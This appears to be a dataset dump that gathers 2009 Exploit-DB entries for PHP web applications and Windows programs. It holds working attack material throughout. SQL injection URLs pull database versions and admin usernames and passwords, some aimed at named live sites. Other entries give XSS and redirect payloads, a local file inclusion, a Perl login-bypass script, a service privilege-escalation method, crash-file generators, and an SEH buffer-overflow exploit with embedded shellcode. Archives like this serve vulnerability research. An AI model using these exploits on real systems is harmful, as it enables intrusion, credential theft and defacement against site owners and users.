QLWD/code_shield huggingface dataset:
标题: radlance gold 7.5 - Multiple Vulnerabilities EDB-ID: 9195 CVE: 2009-4695 2009-4694 2009-4692 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-17 漏洞利用脚本: ###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] RadLance Gold v7.5 Multiple Remote Vulnerabilities
==============================================================================

 [Â»] Script:             [ RadLance Gold v7.5 ]
 [Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.radscripts.com/freelancescripts/index.php  ]
 [Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ Powered by: RadLance v7.5 ]
        [Â»] Price:              [ $199 ]
        [Â»] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit + LIVE : SQL INJECTION vulnerability ]=== 
 
[Â»] http://www.site.com/patch/index.php?a=view_forum&fid=[SQL] 

[Â»] http://www.radlance.com/07.5s1/_plain/index.php?a=view_forum&fid=null+union+select+1,2,version(),4,5--&admin=0
[Â»] http://www.excellance.net/index.php?a=view_forum&fid=null+union+select+1,2,version(),4,5--&admin=0
    RESULT : 5.0.67-community 

===[ Exploit + LIVE : BLIND SQL vulnerability ]===

[Â»] http://www.site.com/patch/index.php?a=view_forum&fid=[BLIND]

[Â»] http://www.radlance.com/07.5s1/_plain/index.php?a=view_forum&fid=1%20AND%20SUBSTRING(@@version,1,1)=5&admin=0 TRUE
    http://www.radlance.com/07.5s1/_plain/index.php?a=view_forum&fid=1%20AND%20SUBSTRING(@@version,1,1)=4&admin=0 FALSE
    SO MYSQL: V5

===[ Exploit XSS + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/index.php?a=ulist&pr=[XSS]&

[Â»] http://www.radlance.com/07.5s1/_plain/index.php?a=ulist&pr=1</title><ScRiPt %0A%0D>alert(566615539956)%3B</ScRiPt>&
[Â»] http://www.excellance.net/index.php?a=ulist&pr=1</title><ScRiPt %0A%0D>alert(566615539956)%3B</ScRiPt>&


Author: Moudi

###########################################################################

# milw0rm.com [2009-07-17] URL: https://www.exploit-db.com/exploits/9195
标题: Adobe 9.x Related Service - 'getPlus_HelperSvc.exe' Local Privilege Escalation EDB-ID: 9199 CVE: 2009-2564 类型: LOCAL 平台: WINDOWS 发布日期: 2009-07-20 漏洞利用脚本: Adobe related service (getPlus_HelperSvc.exe) local elevation of privileges
by Nine:Situations:Group
site: http://retrogod.altervista.org/

description:
Adobe downloader used to download updates for Adobe applications.
Shipped with Acrobat Reader 9.x

vendor: Nos Microsystems

poc:

C:\>sc qc "getPlus(R) Helper"
[SC] GetServiceConfig SUCCESS

SERVICE_NAME: getPlus(R) Helper
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Programmi\NOS\bin\getPlus_HelperSvc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : getPlus(R) Helper
        DEPENDENCIES       : RPCSS
        SERVICE_START_NAME : LocalSystem

C:\>cacls "C:\Programmi\NOS\bin\getPlus_HelperSvc.exe"
C:\Programmi\NOS\bin\getPlus_HelperSvc.exe BUILTIN\Users:F <-------------- [!!!]
                                           NT AUTHORITY\SYSTEM:F

The executable file is installed with improper permissions, with "full
control" for Builtin Users; a simple user can replace it with a binary of
choice.
At the next reboot it will run with SYSTEM privileges.

# milw0rm.com [2009-07-20] URL: https://www.exploit-db.com/exploits/9199
标题: Joomla! Component Jobline 1.3.1 - Blind SQL Injection EDB-ID: 9187 CVE: 2009-2554 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-17 漏洞利用脚本: ##################################################
# Joomla Component: Jobline <= 1.1.3.1 (search) / Blind SQL Injection Vulnerability
# Download: http://joomlacode.org/gf/download/frsrelease/3721/8325/jobline-1_1_2_2.zip
# Dork: inurl:"index.php?option=com_jobline"
#  ---> magic_quotes_gpc =Off
# ==================================
# {Author}: ManhLuat93
# {My HomePage}: http://manhluat.com/
##################################################

Live Demo: http://www.ntca.org/index.php?option=com_jobline&task=results&Itemid=&search=

[-] Exploit [+]

[--] http://localh0st/index.php?option=com_jobline&task=results&Itemid=&search=%' and substring(@@version,1,1)=5 and '%'='

[++] http://www.ntca.org/index.php?option=com_jobline&task=results&Itemid=&search=%' and substring(@@version,1,1)=5 and '%'='


note:
<name>Jobline</name>
<creationDate>08 Jan 2008</creationDate>
<version>1.3.1</version>
<joomlaVersion>1.5</joomlaVersion>
<copyright>(c) 2006 Olle Johansson</copyright>
<license>GNU GPL</license>


# milw0rm.com [2009-07-17] URL: https://www.exploit-db.com/exploits/9187
标题: good/bad vote - Cross-Site Scripting / Local File Inclusion EDB-ID: 9185 CVE: 2009-4683 2009-4682 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-17 漏洞利用脚本: ###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] Good/Bad Vote (XSS/LFI) Vulnerability
==============================================================================

 [Â»] Script:             [ Good/Bad Vote ]
 [Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.scriptsez.net/index.php?action=details&cat=Polls%20and%20Voting&id=1086552418  ]
 [Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ OFF ]
        [Â»] Price:              [ 6 US $ ]

###########################################################################

===[ Exploit XSS vulnerability ]=== 
 
 [Â»] http://www.site.com/patch/vote.php?action=vote&id=[XSS]&ficdest=0%2Edat&midcast=0%2Etxt

        [Â»] http://searchall.iwebland.com:80/sigs/vote.php?action=vote&id=[XSS]&ficdest=0%2Edat&midcast=0%2Etxt
            XSS TO ADD: 1<script>alert(314154736094)</script>
           
===[ Exploit LFI ]=== 

       [Â»] http://www.site.com/patch/vote.php?action=dovote&id=[LFI]&ficdest=.dat&midcast=.txt

Author: Moudi

###########################################################################

# milw0rm.com [2009-07-17] URL: https://www.exploit-db.com/exploits/9185
标题: radbids gold 4.0 - Multiple Vulnerabilities EDB-ID: 9194 CVE: 2009-3530 2009-3529 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-17 漏洞利用脚本: ###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] RadBIDS GOLD v4 Multiple Remote Vulnerabilities
==============================================================================

 [Â»] Script:             [ RadBIDS GOLD v4 ]
 [Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.radscripts.com/auctionsoftware/ebay_style/index.html  ]
 [Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ Powered by: RadBids Gold v4 ]
        [Â»] Price:              [ $199 ]
        [Â»] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit + LIVE : SQL INJECTION vulnerability ]=== 
 
[Â»] http://www.site.com/patch/index.php?a=view_forum&fid=[SQL] 

[Â»] http://www.radbids.com/auction_software/test/index.php?a=view_forum&fid=null+union+select+1,2,version(),4,5--&admin=0
[Â»] http://havetosellitnow.com/index.php?a=view_forum&fid=null+union+select+1,2,version(),4,5--&admin=0
    RESULT : 5.0.67-community 

===[ Exploit + LIVE : BLIND SQL vulnerability ]===

[Â»] http://www.site.com/patch/index.php?a=view_forum&fid=[BLIND]

[Â»] http://www.radbids.com/auction_software/test/index.php?a=view_forum&fid=1%20AND%20SUBSTRING(@@version,1,1)=5&admin=0 TRUE
    http://www.radbids.com/auction_software/test/index.php?a=view_forum&fid=1%20AND%20SUBSTRING(@@version,1,1)=4&admin=0 FALSE
    SO MYSQL: V5

===[ Exploit XSS + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/storefront.php?user=104&mode=[XSS]

[Â»] http://www.radbids.com/auction_software/test/storefront.php?user=104&mode=1>"><ScRiPt %0A%0D>alert(528305396116)%3B</ScRiPt>
[Â»] http://www.getmebids.com/storefront.php?user=104&mode=1>"><ScRiPt %0A%0D>alert(528305396116)%3B</ScRiPt>


Author: Moudi

###########################################################################

# milw0rm.com [2009-07-17] URL: https://www.exploit-db.com/exploits/9194
标题: Battle Blog 1.25 - Authentication Bypass / SQL Injection / HTML Injection EDB-ID: 9183 CVE: 2009-3719 2009-3718 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-17 漏洞利用脚本: ###################################################################
#        battle blog sql/html injection vulnerability             #
###################################################################

author: $qL_DoCt0r
email: cookiestealer375@gmail.com
msn: sidthesloth@windowslive.com
blog: http://full-discl0sure.blogspot.com

html injection vulnerability

dork:inurl:comment.asp intext:Your e-mail address will be used to send you voting and comment activity. Inclusion of your address is optional but Battle Blog cannot notify you of these activities unless you supply an accurate e-mail.

once on blog...
scroll down to: make new comment

fill in the name: website: e-mail: forms
then type your html/xss as the comment, eg:<meta HTTP-EQUIV="REFRESH" content="0; url=http://yoursite.com/deface.htm">
click preview
then submit
if your doing a redirect you need to click submit fast
NOTE: iframes do not work because the submit button doesn't appear
on some blogs you can use fire bug to make a submit button!


sql injection vulnerability

dork: same as before

just look on the navigation bar to the side and click admin

type your sql as the username
and leave the password field blank.

# milw0rm.com [2009-07-17] URL: https://www.exploit-db.com/exploits/9183
标题: Super Simple Blog Script 2.5.4 - 'entry' SQL Injection EDB-ID: 9180 CVE: 2009-2553 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-17 漏洞利用脚本: ----------[exploit Debut]
[Remote SQL Injection Vulnerability]
----------[Script Info]

Moi : JIKO
Site : No-exploit.Com
Email : mm  :(  Moghla9 Ferme Closed

----------[Script Info]

Site:http : http://www.supersimple.org/
Download : http://supersimple.org/downloads/SuperSimpleBlogScriptV2_5_4.zip

----------[exploit Info]

1]~[Sql]
http://localhost/Path/comments.php?entry=-122222 union select 0,concat(0x223E,version(),0x3A,user())--
----------[exploit Fin]

# milw0rm.com [2009-07-17] URL: https://www.exploit-db.com/exploits/9180
标题: MixSense 1.0.0.1 DJ Studio - '.mp3' Crash EDB-ID: 9178 CVE: 2009-3808 类型: DOS 平台: WINDOWS 发布日期: 2009-07-16 漏洞利用脚本: #!/usr/bin/perl -w
#
# MixSense 1.0.0.1 DJ Studio (.mp3 file) Crash Vulnerability Exploit
#
# Founded and exploited by prodigy
#
# Contact: smack_the_stream@hotmail.com
# 
# Vendor: MixSense
#
# Usage to reproduce the bug: when you created the malicious file, open with Mixsense and booom!
#
# Platform: Windows
#
###################################################################

==PoC==

use strict;

use diagnostics;

my $file= "crash.mp3";

my $boom= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x 5000;

open($FILE,">>$file");

print $FILE "$boom";

close($FILE);

print "File Created successfully\n";

==EndPoC==


##Greetz: Greetz myself for find the bug.

# milw0rm.com [2009-07-16] URL: https://www.exploit-db.com/exploits/9178
标题: AJOX Poll - 'managepoll.php' Authentication Bypass EDB-ID: 9182 CVE: 2009-3596 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-17 漏洞利用脚本: ###########################################################################################
[+] AJOX Poll Authentication Bypass Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
############################################################################################

[+] Homepage : http://www.joxtechnology.com/view/36/PHP/MySql-AJAX-Poll-script-with-pie-and-bar-graph/

[+] Authentication Bypass

 Go to

   http://127.0.0.1/[path]/admin/managepoll.php

 And administrate the poll.

###########################################################################################

# milw0rm.com [2009-07-17] URL: https://www.exploit-db.com/exploits/9182
标题: MultiMedia Jukebox 4.0 Build 020124 - '.pst' / '.m3u' Heap Overflow (PoC) EDB-ID: 9173 CVE: 2009-2650 类型: DOS 平台: WINDOWS 发布日期: 2009-07-16 漏洞利用脚本: #!/usr/bin/perl
# Found By :: HACK4LOVE
# MultiMedia Jukebox 4.0 Build 020124 (.pst / .m3u ) Local Heap Overflow PoC
# http://www.brothersoft.com/sorcerer-software-multimedia-jukebox-251913.html
########################################################################################
# special thanks for sec-code.com and sniper code
########################################################################################
my $crash="\x41" x 5000;
open(myfile,'>>hack4love.m3u');
print myfile $crash;
########################################################################################

# milw0rm.com [2009-07-16] URL: https://www.exploit-db.com/exploits/9173
标题: Super Simple Blog Script 2.5.4 - Local File Inclusion EDB-ID: 9179 CVE: 2009-2552 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-17 漏洞利用脚本: ----------[exploit Debut]
[ Local File Inclusion Vulnerability]
----------[Script Info]

Moi : JIKO
Site : No-exploit.Com
Email : mm :( Moghla9 Ferme Closed

----------[Script Info]

Site:http : http://www.supersimple.org/
Download : http://supersimple.org/downloads/SuperSimpleBlogScriptV2_5_4.zip

----------[exploit Info]

1]~[LFI]
http://localhost/Path/comments.php?submit=JIKO&entry=[EV!L]
----------[exploit Fin]

# milw0rm.com [2009-07-17] URL: https://www.exploit-db.com/exploits/9179
标题: VS PANEL 7.5.5 - 'results.php?Cat_ID' SQL Injection EDB-ID: 9171 CVE: 2009-3595 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-16 漏洞利用脚本: ####################################
  # Homepage: http://www.vspanel.gr/ #
  # Product: VS PANEL v.7.5.5        #
  # DeScOvRed By:C0D3R-Dz            #
  # File: results.php                #
  # ContACt:cD_@LinUxmAIL.OrG        #
  # Dork: "Powered by VS PANEL 7.5.5"#
  ###################################
################################### SQL Injection#####################################
# results.php?Cat_ID=-6+union+select+1,concat(username,0x3a,password),3,4+from+Users--#
#######################################################################################


################################### DeMo ############################################################
#www.vspanel.gr/results.php?Cat_ID=-6+union+select+1,concat(username,0x3a,password),3,4+from+Users--#
#####################################################################################################


#########################################
#Greetz to:His0K4-HouSsem_PHp-HacKdZ    #
#                 IncluDeR              #
######################################### 

# milw0rm.com [2009-07-16] URL: https://www.exploit-db.com/exploits/9171
标题: Hamster Audio Player 0.3a - Universal Buffer Overflow (SEH) EDB-ID: 9172 CVE: 2009-2550 类型: LOCAL 平台: WINDOWS 发布日期: 2009-07-16 漏洞利用脚本: #!/usr/bin/perl
#[+] Bug : Hamster Audio Player 0.3a Universal BOF Exploit (SEH)
#[+] Author : ThE g0bL!N
#[+] Greetz to all my friends
#[+] Tested on: Windows XP Pro SP2 (Fr)
##[+] Big thnx: His0k4
##########################################################
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";
my $junk="\x41" x (4103-length($shellcode));
my $jmp="\xE9\xF4\xEF\xFF\xFF";
my $next_seh="\xEB\xF9\x41\x42";
my $seh="\x0F\x39\x42\x00";
open(myfile,'>>exploit.m3u');#/hpl
print myfile $shellcode.$junk.$jmp.$next_seh.$seh;

# milw0rm.com [2009-07-16] URL: https://www.exploit-db.com/exploits/9172
标题: Music Tag Editor 1.61 build 212 - Remote Buffer Overflow (PoC) EDB-ID: 9167 CVE: 2009-3811 类型: DOS 平台: WINDOWS 发布日期: 2009-07-16 漏洞利用脚本: ==

* Music Tag Editor 1.61 build 212 Remote Buffer Overflow PoC *

Product: http://www.assistanttools.com/products/tag_editors/music_tag_editor/index.shtml
Tested On Microsoft Windows XP Professional SP3 (English)

Vulnerability Discovered By Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.org/
15.07.2009

==

(8bc.86c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00410041 ebx=00000000 ecx=0010fa80 edx=00410041 esi=001e5fb0 edi=000fd060
eip=cccccccc esp=000fcfa0 ebp=000fcff8 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
cccccccc ?? 

==

*** Proof Of Concept: http://zeroscience.org/codes/aimp2_evil.mp3   http://www.zeroscience.mk/old/codes/aimp2_evil.mp3
        https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8837.mp3 (2009-aimp2_evil.mp3)

** Note: The same PoC used in:
- http://secunia.com/advisories/35305/
- http://secunia.com/advisories/35295/

EOF

# milw0rm.com [2009-07-16] URL: https://www.exploit-db.com/exploits/9167
标题: webLeague 2.2.0 - Authentication Bypass EDB-ID: 9165 CVE: 2009-4561 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-16 漏洞利用脚本: #!/usr/bin/perl -W
#
# WebLeague 2.2.0 Remote Admin Bypass p0c
# written by ka0x <ka0x01[at]gmail.com>
#
# need magic_quotes_gpc = Off
#
# Vuln code (Admin/index.php) :
#
# 10: $sql="SELECT * FROM $admintable WHERE name = '$_POST[username]' AND password = '$_POST[password]'"; // ---> NOT CLEAN $_POST VARS
# 11: $result=mysql_query($sql,$db);
# 12: $number = mysql_num_rows($result);
# 13: if ($number == "1") {
#

use LWP::UserAgent ;

my $timeout = 10 ;

die "* USAGE: \tperl $0 <host>\n" unless $ARGV[0] ;

my $host = $ARGV[0] ;

$host = 'http://'.$host if( $host !~ /^http:/ ) ;
$host = $host.'/' unless( substr( $host, -1 ) eq '/' ) ;

my $ua = LWP::UserAgent->new() or die;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1") ;
$ua->timeout( $timeout ) ;

my $req = HTTP::Request->new( POST => $host.'Admin/index.php' );
$req->content_type( 'application/x-www-form-urlencoded' ) ;
$req->content( 'username=\'/*&password=*/ or \'\'=\'' ) ;  # content $_POST vars: 
        # username=  '/*
        # password=   */ or ''='
my $res = $ua->request( $req ) ;

if( $res->content =~ /You are logged in as/i ){
 print "[+] The website is vulnerable." ;
} 
else {
 print "[-] The website isn't vulnerable." ;
}


__END__

# milw0rm.com [2009-07-16] URL: https://www.exploit-db.com/exploits/9165
标题: WebLeague 2.2.0 - 'profile.php' SQL Injection EDB-ID: 9162 CVE: 2009-4560 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-15 漏洞利用脚本: #########################################################
#                                                                                                             
# DESCRIPTION: WebLeague 2.2.0 (profile.php) Remote SQL Injection                  
# DISCOVERED BY: Arka69                                                                                                                       
# BUG: SQL Injection                                                                                  
# DOWNLOAD: http://www.worms-league.com/WebLeague/WebLeague2.2.0.zip    
#                                                                                                            
########################################################

 
EXPLOIT: profile.php?name='+UNION+SELECT+1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+FROM+webl_admin%23

# milw0rm.com [2009-07-15] URL: https://www.exploit-db.com/exploits/9162
标题: Hamster Audio Player 0.3a - Local Buffer Overflow (PoC) EDB-ID: 9157 CVE: 2009-2550 类型: DOS 平台: WINDOWS 发布日期: 2009-07-15 漏洞利用脚本: # Hamster Audio Player 0.3a  Local BOF PoC
my $crash="\x41" x 4113 ;
open(myfile,'>>PoC.m3u')#/HPL
print myfile $crash;
# By ThE g0bL!N
#Download:http://www.brothersoft.com/hamster-audio-player-download-235347.html
#Note: His0k4 Win Rak :(

# milw0rm.com [2009-07-15] URL: https://www.exploit-db.com/exploits/9157